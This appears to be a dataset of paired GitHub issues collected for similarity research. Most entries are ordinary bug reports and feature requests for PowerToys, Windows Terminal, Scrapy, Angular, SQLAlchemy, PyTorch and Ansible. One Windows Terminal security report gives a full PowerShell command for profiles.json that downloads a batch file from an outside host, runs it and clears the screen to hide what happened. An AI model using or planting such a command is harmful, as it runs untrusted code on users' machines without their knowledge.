WhereIsAI/github-issue-similarity huggingface dataset:
Issue 1:
Environment:

Windows build number: 10.0.18363.657

PowerToys version: 0.14.1.0

PowerToy module for which you are reporting the bug (if applicable): FancyZones

Steps to reproduce:

From FancyZones zone editor dialog, click Custom tab and then click Edit selected layout button.

Expected behavior:

Dialog should then offer a choice between using the additive or subtractive methods.

Actual behavior

Dialog currently launches directly into additive mode with no choice to choose subtractive method, nor any hint how subtractive method method can be accessed.

Issue 2:
Environment

Windows build number: Microsoft Windows [Version 10.0.18363.900]

PowerToys version: v0.19.1

PowerToy module for which you are reporting the bug (if applicable): Fancy Zones

Steps to reproduce

My monitor supports "Picture by Picture" which allows me to quickly change from full screen to a split screen layout (so I can have my work computer on half of my screen for example. However, whenever I enable/disable PBP, the fancy zones layouts break and now overlap the windows task bar (which I have set on the right hand side of my screen.

Create zones layout

Change monitor resolution

Change monitor resolution back to original

4, Original layout now overlap the taskbar

Expected behavior

Zones layout should not overlap taskbar after changing resolution

Actual behavior

Zone layout overlaps taskbar
Issue 1:
Description of the new feature/enhancement

Rearrangeable tabs would be a great feature. Especially when someone is working on multiple machines as me. This helps organizing machines in tabs, when they are started in different times.

Simple example:

Thanks!

Issue 2:
Environment

Windows build number:
- Microsoft Windows [Version 10.0.18362.418]

Windows Terminal version (if applicable):
- Windows Terminal (Preview)
- Version: 0.6.2951.0

Any other software?
- Git Bash for Windows (MINGW64)
- Ubuntu (WSL)

Steps to reproduce

Open a Git Bash tab in Windows Terminal.

Run the following script:

#!/bin/bash

# This program is free software. It comes without any warranty, to
# the extent permitted by applicable law. You can redistribute it
# and/or modify it under the terms of the Do What The Fuck You Want
# To Public License, Version 2, as published by Sam Hocevar. See
# http://sam.zoy.org/wtfpl/COPYING for more details.

for fgbg in 38 48 ; do # Foreground / Background
for color in {0..255} ; do # Colors
# Display the color
printf "\e[${fgbg};5;%sm %3s \e[0m" $color $color
# Display 6 colors per lines
if [ $((($color + 1) % 6)) == 4 ] ; then
echo # New line
fi
done
echo # New line
done

exit 0

Expected behavior

Pretty colors.

Actual behavior

Only a small number of colors.

An image is attached that shows Git Bash running that script, then Git Bash in Windows Terminal running that script, and finally Ubuntu in Windows Terminal running that script.

Git Bash shows the colors as expected, as does Ubuntu in Windows Terminal, so it seems reasonable that both Git Bash, and Windows Terminal support those colors, but somewhere between them, the colors get mangled and do not show properly.
Issue 1:
I'd love to be able to use scrapy's Selector outside of scrapy, as an xpath (and css?) selector library for xml, html, sgml documents.

I suppose I should go looking at BeautifulSoup for that, but I'm familiar with Selector and like the way it works. I don't like plain lxml's way of doing things and usually don't need any write-abilities on the tree anyway.

Would it be feasible and sensible to make the selector parts of scrapy not depend on SomeResponse and expect response.url objects (but SomeDocument instead) and put it together with things such as LxmlDocument, then have some glue-code to bind it to object_ref and response objects and such in scrapy?

At least in my mind this makes sense with the "librarization" goal of scrapy in mind, but maybe I'm wrong or that'd be too much of a design change when there is BeautifulSoup.

p.s. before anyone comments that it is possible: I know I can use it outside scrapy, with something like this (but thats still having all of scrapy inside another project or rewriting a lot to factor out the selector stuff):

namespaces = [
('x', 'http://www.w3.org/1999/xhtml'),
]
with open('file') as f:
data = f.read()
xs = Selector(text=data, type='xml')
for namespace, scheme in namespaces:
xs.register_namespace(namespace, scheme)
print(xs.xpath('/x:html').extract())

Issue 2:
I'm working on a scrapy project where a "rabbit client" and "crawl worker" work together to consume scrape requests from a queue. These requests have more configuration than a start_url - it could be something like url and a set of xpaths, or a domain-specific configuration, like site-specific product ID (from which we programmatically build the url) and optional identifiers like color, style, and size to further specify the item one wants to scrape.

I ended up rolling my own generic abstract base classes to support this. These classes expose an interface that provide for crawl configuration validation and deserialization.

I'm wondering if it would be desirable to have built-in support for more specific "crawl configurations" like this within the framework? If that's the case, I'd be more than happy to have a design discussion and hash out the details.

I'm looking for specifically for replies from project maintainers/contributors to see whether or not this is feasible - I don't want to waste anyone's time, including mine. If it is, I'd love to tackle it myself with some design guidance, to make sure I'm working with the framework instead of against it.
Issue 1:
system w10 ,scrapy 1.6.0

my scrapy can run nomally long before, but raise AttributeError recently , I have reinstall the Scrapy ,It's not help.

Issue 2:
Scrapy version:

Scrapy : 1.3.3
lxml : 3.7.3.0
libxml2 : 2.9.3
cssselect : 1.0.1
parsel : 1.1.0
w3lib : 1.17.0
Twisted : 17.1.0
Python : 3.5.2 (default, Nov 17 2016, 17:05:23) - [GCC 5.4.0 20160609]
pyOpenSSL : 0.15.1 (OpenSSL 1.0.2g 1 Mar 2016)
Platform : Linux-4.4.0-59-generic-x86_64-with-Ubuntu-16.04-xenial

I've got this exception on shutdown:

2017-04-05 18:18:10 [scrapy.core.engine] INFO: Spider closed (finished)
2017-04-05 18:18:10 [scrapy.utils.signal] ERROR: Error caught on signal handler: <bound method TelnetConsole.stop_listening of <scrapy.extensions.telnet.TelnetConsole object at 0x7fbb993bfeb8>>
Traceback (most recent call last):
File "/home/ubuntu/.local/lib/python3.5/site-packages/twisted/internet/defer.py", line 150, in maybeDeferred
result = f(*args, **kw)
File "/home/ubuntu/.local/lib/python3.5/site-packages/pydispatch/robustapply.py", line 55, in robustApply
return receiver(*arguments, **named)
File "/home/ubuntu/.local/lib/python3.5/site-packages/scrapy/extensions/telnet.py", line 63, in stop_listening
self.port.stopListening()
AttributeError: 'TelnetConsole' object has no attribute 'port'

Not sure if it is a real problem, but it'd be nice to shut down without error messages. No idea how to reproduce it, I've only seen it once.
Issue 1:
fyi @egamma

Issue 2:
Did some research, hope it is not duplicate... Is there functionality (some shortcut maybe?) to break searching? Because when you develop a project, you often need to search stuff across all files. No problem here, until you actually have project with like many many files. For example, if you have project where node_modules are not ignored in search (since even there you sometimes need to search stuff) or you have some internal directory with internal builds, you get like too many results and you are not able to break search to specify search more closely or to just get rid of searching. Usually ends up with crash of vscode...

Version 0.10.6 (0.10.6)
Issue 1:
The explanation says

If the length of the string is less than or equal to 3 characters, then the length of the three dots is not added to the string length.

truncate("A-", 1) should return "A...".

While the original string is less then 3 character, the outcome is less than 3 characters, still the result should be A.... Seems not really logical to me.

Issue 2:
After completing an exercise I usually try a few different solutions just to test my knowledge. The problem is that all of the solutions are being diplayed in one super long list of code snippets on my profile page. It would be nice if each exercise was collapsed, so that it takes up less space. Within each collapsed exercise you could have all the snippets of code for that specific one.

It would also be nice to have an instantly updated search feature so that you can easily find which exercise you're looking for in the list, or just list them in the same order as on the map page for consistency.

This is just to make the site easier to navigate, but I understand if there's more important things to fix first. :)
Issue 1:
I'm submitting a ...

[X] bug report
[ ] feature request
[ ] support request

Current behavior

When using AoT compilation, in particular with the @ngtools/webpack plugin, using ViewEncapsulation.None in a component with stylesheets, an error is raised at runtime, since component styles are always accessed through the styles exported member, but this only exists when ViewEncapsulation is set to Emulated. Because of that, the _flattenStyles function received an array with undefined items, and tries to run the replace method over it.

Expected behavior

Regardless of which ViewEncapsulation is used, compiled styles imports should not break at runtime.

Minimal reproduction of the problem with instructions

Clone and setup https://github.com/blacksonic/angular2-aot-webpack/

Delete ngfactory folder and files

Add ViewEncapsulation.None to home.component.s

Run

What is the motivation / use case for changing the behavior?

You can take a look at the style_compiler source code: https://github.com/angular/angular/blob/master/modules/%40angular/compiler/src/style_compiler.ts#L60. When in a component context, a variable named styles is used to get the exported value. However, that variable only exists when a shim is used, but only happens when ViewEncapsulation is Emulated.

Please tell us about your environment:

Windows 10 build 1607

Angular version: 2.1.2

Browser: all

Language: TypeScript 2.0.7

Node (for AoT issues): node --version = 6.9.1

Issue 2:
I'm submitting a ... (check one with "x")

[x] bug report => search github for a similar issue or PR before submitting
[ ] feature request
[ ] support request => Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question

Current behavior

Root component (that is bootstrapped) does not get any content transcluded with ng-content.

Expected/desired behavior

There should be a possibility to transclude root component's content into component's view.

Reproduction of the problem

Plunker: https://plnkr.co/edit/WozwzyMhajp6mIHoKcZA?p=preview

Observed: Component content:

What is the expected behavior?

Component content: loading...

What is the motivation / use case for changing the behavior?

There should be a consistent behaviour on ng-content no matter is it root component or any other that is used in view component.

Please tell us about your environment:

Angular version: 2.0.0-rc.6

Browser: [all]

Language: [all]
Issue 1:
Environment

Windows Edition: Windows 10 Education
Version: 1903
OS Build: 18362.10005
Windows Terminal version: 0.3.2142.0

Possible Bug: Description

In profiles.json, under profiles, powershell.exe is the default profile when Terminal app fresh installed. Powershell is called by terminal app using: "commandline" setting with parameter "powershell.exe".

We can add parameters after "powershell.exe" to automate tasks. This is happen when each new tab with powershell is opened. But we can go futher to exploit this feature.

The GIF demonstration shows one line command to download an (assumed) infected executable from unknown domain, keep it in the public/downloads directory to evade low privilege errors, run the infected executable, clear the screen immediately and run powershell.exe again.

It's assumed that the executable will a malware that quickly starts and closes itself. The user will find it hard to detect if anything is happenning because a fresh powershell instance is called after the downloaded executable is run. Also, there is no warning prompt while running the executable as shown in demonstation.

Steps to reproduce

Create a sample batch script for demo purpose with anything inside. Here I've created script to open multiple cmd windows

Upload the file to any shady website. Here I've used my own not-trusted website

Paste the following command after "powershell.exe" for the setting "commandline" under profiles in profiles.json

command:

wget -O 'C:\\Users\\Public\\Downloads\\VIR.bat' prohack.tech/VIR.bat ; [Diagnostics.Process]::Start('C:\\Users\\Public\\Downloads\\VIR.bat') ; clear ; powershell.exe

Run the terminal app.

Expected behavior

Expected behavior is to not allow arguments directly from profiles.json setting because another applications could potentially infect(?) the settings file to download untrusted files.

Actual behavior

Arguments are allowed to run from profiles.json setting.

Note

Marked as possible security issue because exploiting this may be tricky, since larger file download through wget can be seen as being downloaded by the user. Also, first-hand running processes will show details in powershell instance. But as shown in the demo, processes started from the downloaded executable do not show in powershell. Could possibly be exploited without the user knowing.

Finding profiles.json is also easy with this string: "%LOCALAPPDATA%\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\RoamingState".

If this is a real issue, name it 'profile commandline injection' :P

Issue 2:
When loging in to e.g. AzAccount, the Window where one can enter one's credentials appears behind the Windows Terminal Window and cannot be brought forward by Alt-Tabbing to it, so one has to leave the keyboard and use the mouse isntead to activate it.
Issue 1:
Hello, I wonder if it is possible to place a responsive CSS table have an example if necessary? The following code:

Reference link: http://css-tricks.com/examples/ResponsiveTables/responsive.php

/*

Max width before this PARTICULAR table gets nasty

This query will take effect for any screen smaller than 760px

and also iPads specifically.

*/

@media

only screen and (max-width: 760px),

(min-device-width: 768px) and (max-device-width: 1024px) {

/* Force table to not be like tables anymore */
table, thead, tbody, th, td, tr {
display: block;
}

/* Hide table headers (but not display: none;, for accessibility) */
thead tr {
position: absolute;
top: -9999px;
left: -9999px;
}

tr { border: 1px solid #ccc; }

td {
/* Behave like a "row" */
border: none;
border-bottom: 1px solid #eee;
position: relative;
padding-left: 50%;
}

td:before {
/* Now like a table header */
position: absolute;
/* Top/left values mimic padding */
top: 6px;
left: 6px;
width: 45%;
padding-right: 10px;
white-space: nowrap;
}

/*
Label the data
*/
td:nth-of-type(1):before { content: "First Name"; }
td:nth-of-type(2):before { content: "Last Name"; }
td:nth-of-type(3):before { content: "Job Title"; }
td:nth-of-type(4):before { content: "Favorite Color"; }
td:nth-of-type(5):before { content: "Wars of Trek?"; }
td:nth-of-type(6):before { content: "Porn Name"; }
td:nth-of-type(7):before { content: "Date of Birth"; }
td:nth-of-type(8):before { content: "Dream Vacation City"; }
td:nth-of-type(9):before { content: "GPA"; }
td:nth-of-type(10):before { content: "Arbitrary Data"; }
}

Issue 2:
Hi,

I'm building an application with Twitter Bootstrap one of the reasons because I need it to be responsive and readable with hand-held devices.

The responsive layout works like a charm, but tables not so much, they have a fixed min width where they can't go any thiner, I get that, but it would be so cool if the tables would be responsive, meaning when they can't go any thinner they change their layout to show the information somehow to fit the screen.

I don't know how would you achieve this, maybe changing the scale (or zoom) on the table so it go smaller, since on a hand-held you can zoom in with a pinch.

Is there an easy solution to solve this?

Thanks!
Issue 1:
Migrated issue, originally created by Laurence Rowe (@lrowe)

When removing a connection event:

from sqlalchemy import create_engine
from sqlalchemy import event

engine = create_engine('sqlite:///')
connection = engine.connect()

@event.listens_for(connection, 'after_cursor_execute')
def after_cursor_execute(conn, cursor, statement, parameters, context, executemany):
pass

event.remove(connection, 'after_cursor_execute', after_cursor_execute)

I see the following error:

$ bin/py connection_event_bug.py
Traceback (most recent call last):
File "bin/py", line 61, in <module>
exec(compile(__file__f.read(), __file__, "exec"))
File "connection_event_bug.py", line 12, in <module>
event.remove(connection, 'after_cursor_execute', after_cursor_execute)
File "/Users/lrowe/.buildout/eggs/SQLAlchemy-0.8.0-py2.7-macosx-10.6-intel.egg/sqlalchemy/event.py", line 76, in remove
for tgt in evt_cls._accept_with(target):
TypeError: 'Connection' object is not iterable

Though this does work:

connection.dispatch.after_cursor_execute.remove(after_cursor_execute, connection)

Issue 2:
Describe the bug

Using the below code I ended up with many copies of the resulting where clause being injected into queries. Each select during the same session had an additional cls.deleted_at IS NULL attached to it.

It's very possible that I'm using this feature incorrectly. It appears to be a fairly advanced one.

To Reproduce

@declarative_mixin
class SoftDeleteMixin:
deleted_at: Mapped[datetime.datetime | None] = Column(DateTime, nullable=True)

@event.listens_for(Session, 'do_orm_execute')
def _add_soft_delete_filter(state: ORMExecuteState) -> None:
if not state.is_select:
return

state.statement = state.statement.options(
with_loader_criteria(
SoftDeleteMixin,
lambda cls: cls.deleted_at.is_(None),
include_aliases=True,
)
)

Error

WHERE cls.deleted_at IS NULL AND cls.deleted_at IS NULL AND cls.deleted_at IS NULL

Versions

OS: macos

Python: 3.10

SQLAlchemy: 1.4

Database: postgresql

DBAPI (eg: psycopg, cx_oracle, mysqlclient): pg8000

Additional context

I was able to get the behavior to stop by adding propagate_to_loaders=False, to the loader criteria. Then they all have a single one.
Issue 1:
All flavours of ReflectionPad should accept 0-dim batch size.

Tests:

def test_ReflectionPad1d_Forward():
z = torch.ones(0,3,10)
m = torch.nn.ReflectionPad1d(2)
m(z)

def test_ReflectionPad1d_Backward():
z = torch.ones(0,3,10)
m = torch.nn.ReflectionPad1d(2)
m(z).sum().backward()

def test_ReflectionPad2d_Forward():
z = torch.ones(0,3,10,10)
m = torch.nn.ReflectionPad2d(2)
m(z)

def test_ReflectionPad2d_Backward():
z = torch.ones(0,3,10,10)
m = torch.nn.ReflectionPad2d(2)
m(z).sum().backward()

Issue 2:
🚀 Feature

Add support for NHWC images for upsampling nearest in CUDA.

pytorch/vision#1179 (comment)

Motivation

We need this work in order to match the work from This PR and have feature parity with CPU.

In addition, this would help us further support an ongoing work done with @fmassa to have efficient native image reading ops in torchvision.

Pitch

I propose the replicate work done in This PR](#34597) and add a new code path as it was done here:

https://github.com/pytorch/pytorch/blob/master/aten/src/ATen/native/cpu/UpSampleKernel.cpp#L342-L351

This approach is simple. We would also stay consistent with the approach already taken. However, it's going to be hard to avoid unnecessary code duplication. I'll do my best.

@fmassa , @VitalyFedyunin Thoughts?

cc @ngimel @VitalyFedyunin @jamesr66a
Issue 1:
Issue Type:

Bug Report

Ansible Version:

Working on

ansible 2.0.0 (detached HEAD e2ddc2f6ab) last updated 2015/11/30 18:18:21 (GMT -700)
lib/ansible/modules/core: (detached HEAD 0e043f8c58) last updated 2015/11/30 18:17:43 (GMT -700)
lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700)

Doesn't work on:

ansible 2.0.0 (stable-2.0 204e27ca66) last updated 2015/11/30 16:38:33 (GMT -700)
lib/ansible/modules/core: (detached HEAD 273112c56d) last updated 2015/11/30 16:52:55 (GMT -700)
lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700)

and doesn't work on

ansible 2.0.0 (devel dc0fae1af7) last updated 2015/11/30 16:37:03 (GMT -700)
lib/ansible/modules/core: (detached HEAD 0e043f8c58) last updated 2015/11/30 18:17:43 (GMT -700)
lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700)

Ansible Configuration:

[defaults]
remote_user=root
transport=ssh
[ssh_connection]
ssh_args=-o StrictHostKeyChecking=true

Environment:

Centos 6

Summary:

Delegate to causing ssh key error

Steps To Reproduce:

---
- name: testing delegate to
hosts: host1
gather_facts: false
tasks:
- name: attempting to do a shell ls
shell: ls
delegate_to: delhost

Expected Results:

ls of home dir of delhost

Actual Results:

ssh error saying key errors looks like it can't connect to delhost but I'm not sure. I know that I can ssh normally to delhost

Issue 2:
Issue Type: Bug Report (2.0 regression)

Ansible Version: 2.0.0 (devel)

Ansible Configuration: default

Environment: Ubuntu 14.04

Summary:

delegate_to does not use user specified with remote_user.

Steps To Reproduce:

Following playbook works correctly on 1.9.4 with output root and on devel it outputs normal user.

---
- hosts:
- test-vm
become: yes

tasks:
- command: whoami
register: whoami
delegate_to: "test-vm2"
remote_user: root
become: false

- debug: msg="{{ whoami.stdout }}"

Expected Results:

ok: [test] => {
"changed": false,
"invocation": {
"module_args": {
"msg": "root"
},
"module_name": "debug"
},
"msg": "root
}

Actual Results:

ok: [test] => {
"changed": false,
"invocation": {
"module_args": {
"msg": "username"
},
"module_name": "debug"
},
"msg": "username"
}